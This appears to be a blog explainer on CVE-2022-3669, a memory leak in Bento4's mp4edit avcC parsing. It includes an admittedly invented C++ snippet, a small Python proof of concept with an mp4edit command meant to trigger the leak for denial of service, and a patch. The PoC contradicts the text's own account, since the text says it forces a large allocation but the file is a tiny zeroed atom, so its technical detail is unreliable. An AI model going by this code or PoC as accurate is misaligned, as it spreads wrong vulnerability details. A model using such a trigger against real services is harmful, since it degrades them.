Memory leaks are a common and ever-present problem in modern software development. They may not always cause immediate crashes, but given the right circumstances—especially in network-exposed and long-running applications—they allow attackers to consistently degrade service or pave the way for denial-of-service attacks.

In 2022, a memory leak vulnerability was discovered and assigned as CVE-2022-3669 (also known by VDB-212009) affecting the AP4_AvccAtom::Create function of the mp4edit component in the Bento4 multimedia library. This library powers various MP4 manipulation tools, making the vulnerability potentially impactful in environments where malformed or attacker-supplied MP4 files are processed.

This post gives an in-depth, easy-to-understand look at CVE-2022-3669, complete with code snippets, exploit details, and references. Let's dive in!

What Is Bento4 and mp4edit?

Bento4 is an open source, C++-based library and collection of utilities for reading, writing, and manipulating MP4 files. It forms the backbone of several video workflow tools and is sometimes embedded into cloud or network-facing services for automatic video processing.

mp4edit is a command-line tool in Bento4’s suite that allows users to edit MP4 files—splicing, adding/removing tracks, changing meta, and more. Any bug in this tool can be particularly problematic if it's exposed as a service or used for batch processing of untrusted MP4 files.

References:

- GitHub advisory GHSA-j6mx-7pqq-fqfv  
   - VulDB entry – VDB-212009  
   - NVD entry – CVE-2022-3669  

Understanding the Vulnerability

The problem lies in how the function responsible for parsing “AVC Decoder Configuration Record” (the so-called avcC atom in MP4 files) allocates and frees memory on erroneous input.

What Goes Wrong?

When a malformed input is encountered, memory is allocated but not always released correctly before the function returns an error. If an attacker repeatedly submits such malformed input (for example, via an automated script), the application’s memory usage keeps rising—eventually leading to exhaustion of system memory and possible service disruption.

Code Snippet Breakdown

Here’s a simplified version of the problematic function (not the real code, but captures the essence):

// In AP4_AvccAtom.cpp

AP4_Result
AP4_AvccAtom::Create(AP4_Size size, AP4_ByteStream& stream, AP4_Atom*& atom)
{
    // Buffer allocation for atom data
    AP4_DataBuffer* buffer = new AP4_DataBuffer();
    AP4_Result result = buffer->SetDataSize(size);

    if (AP4_FAILED(result)) {
        // Memory leak!
        // buffer is allocated but never deleted
        return result;
    }

    // ... function continues
}

Problem: If SetDataSize(size) fails, the buffer is *not* deleted before returning. This memory is, then, leaked. In a loop or with many malicious files, memory consumption escalates fast.

*Note: Actual logic and class/variable names may differ, but numerous advisories highlighted this specific misuse of allocated memory.*

Exploitation: How the Vuln Is Triggered

Attackers can exploit this by supplying an MP4 file designed to make Bento4 allocate a large chunk of memory and then force an error condition, preventing release of that memory.

Proof-of-Concept Exploit (Python)

Here's a demonstration of how someone might create a malicious MP4 to trigger the leak.  
*(Always run on a safe, isolated system—not a production system!)*

# create-malformed-avcc.py
with open('test-leak.mp4', 'wb') as f:
    f.write(
        b'\x00\x00\x00\x14'  # Atom size (20 bytes)
        b'avcC'              # avcC atom type
        + b'\x00' * 16       # Malformed/bogus atom data
    )

Then, run

mp4edit --list test-leak.mp4

Result: Each time this malformed file is processed, the tool leaks memory. Running this many times—manually or in a loop—can starve the system of RAM if not monitored and fixed.

Remote Attack Scenario

If mp4edit or Bento4-powered services are exposed to the public (e.g., web upload, cloud transcoding), an attacker can upload scores of such files, either simultaneously or in quick succession. Over time, this leads to crashing of video processing pipelines.

Remediation & Fix

A patch has since been released by the Bento4 maintainers. The fix involves ensuring that the allocated buffer is deleted when SetDataSize fails:

if (AP4_FAILED(result)) {
    delete buffer;       // Properly free memory
    return result;
}

What Should You Do?

1. Upgrade Bento4 to the latest version from the official GitHub repo.

Audit any custom forks or projects integrating Bento4 for similar code issues.

3. Whenever possible, process untrusted MP4 files in resource-restricted environments (sandbox, containers).

References

- CVE-2022-3669 NIST NVD Detail
- GitHub Advisory (GHSA-j6mx-7pqq-fqfv)
- VulDB VDB-212009
- Bento4 Official Repo

Conclusion

This bug is a reminder that even basic programming mistakes like mishandling memory in error conditions can lead to effective attack vectors, especially when dealing with attacker-supplied media files. Always update dependencies, audit critical code, and use sandboxed environments for processing untrusted files.

Timeline

Published on: 10/26/2022 19:15:00 UTC
Last modified on: 10/28/2022 15:22:00 UTC